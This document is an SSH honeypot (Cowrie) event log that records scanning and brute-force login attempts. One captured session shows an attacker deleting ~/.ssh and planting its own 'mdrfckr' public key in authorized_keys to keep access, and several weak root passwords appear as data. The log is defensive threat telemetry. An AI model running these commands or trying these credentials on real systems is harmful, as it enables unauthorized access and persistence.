{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:47:20.964834Z","src_ip":"157.245.10.239","session":"16c90fb872a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty","message":"login attempt [root/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:47:20.973448Z","src_ip":"157.245.10.239","session":"16c90fb872a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:47:20.977609Z","src_ip":"157.245.10.239","session":"16c90fb872a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39874,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e0e6876a08","protocol":"ssh","message":"New connection: 2.57.122.208:39874 (159.203.135.109:22) [session: 70e0e6876a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:48:06.695004Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:48:06.801942Z","src_ip":"2.57.122.208","session":"70e0e6876a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.201.104.216","src_port":48652,"dst_ip":"10.17.0.5","dst_port":22,"session":"313db9bb4165","protocol":"ssh","message":"New connection: 101.201.104.216:48652 (10.17.0.5:22) [session: 313db9bb4165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:49:39.218619Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:49:39.465182Z","src_ip":"101.201.104.216","session":"313db9bb4165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":41326,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92bae350cc5","protocol":"ssh","message":"New connection: 43.132.227.251:41326 (10.17.0.5:22) [session: e92bae350cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:19.389378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:19.394257Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:19.602569Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345@Abc","message":"login attempt [root/12345@Abc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:20.467341Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:20.923901Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:20.927479Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:20.931433Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:21.144092Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:21.593139Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:21.596673Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:21.812002Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:21.815920Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":41778,"dst_ip":"10.17.0.5","dst_port":22,"session":"7326f2ef9b28","protocol":"ssh","message":"New connection: 43.132.227.251:41778 (10.17.0.5:22) [session: 7326f2ef9b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:22.010058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:22.015916Z","src_ip":"43.132.227.251","session":"7326f2ef9b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:22.223170Z","src_ip":"43.132.227.251","session":"7326f2ef9b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:23.075293Z","src_ip":"43.132.227.251","session":"7326f2ef9b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:24.285766Z","src_ip":"43.132.227.251","session":"7326f2ef9b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":42296,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2ce4224e91","protocol":"ssh","message":"New connection: 43.132.227.251:42296 (10.17.0.5:22) [session: ab2ce4224e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:24.479491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:24.484767Z","src_ip":"43.132.227.251","session":"ab2ce4224e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:24.687191Z","src_ip":"43.132.227.251","session":"ab2ce4224e91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:25.520806Z","src_ip":"43.132.227.251","session":"ab2ce4224e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:25.725855Z","src_ip":"43.132.227.251","session":"ab2ce4224e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:25.730713Z","src_ip":"43.132.227.251","session":"e92bae350cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37716,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b40fabfae7f","protocol":"ssh","message":"New connection: 2.57.122.208:37716 (159.203.135.109:22) [session: 4b40fabfae7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:45.671436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:45.725766Z","src_ip":"2.57.122.208","session":"4b40fabfae7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:45.811773Z","src_ip":"2.57.122.208","session":"4b40fabfae7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:46.612858Z","src_ip":"2.57.122.208","session":"4b40fabfae7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:50:47.810654Z","src_ip":"2.57.122.208","session":"4b40fabfae7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d274984e60b2","protocol":"ssh","message":"New connection: 2.57.122.208:46258 (159.203.135.109:22) [session: d274984e60b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:53:11.913042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:53:11.991528Z","src_ip":"2.57.122.208","session":"d274984e60b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:53:12.197953Z","src_ip":"2.57.122.208","session":"d274984e60b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:53:12.578942Z","src_ip":"2.57.122.208","session":"d274984e60b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:53:13.682813Z","src_ip":"2.57.122.208","session":"d274984e60b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f9762d8109","protocol":"ssh","message":"New connection: 2.57.121.25:37792 (10.17.0.5:22) [session: 42f9762d8109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:55.611462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:55.616500Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:55.716695Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"left","message":"login attempt [user/left] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:56.196518Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
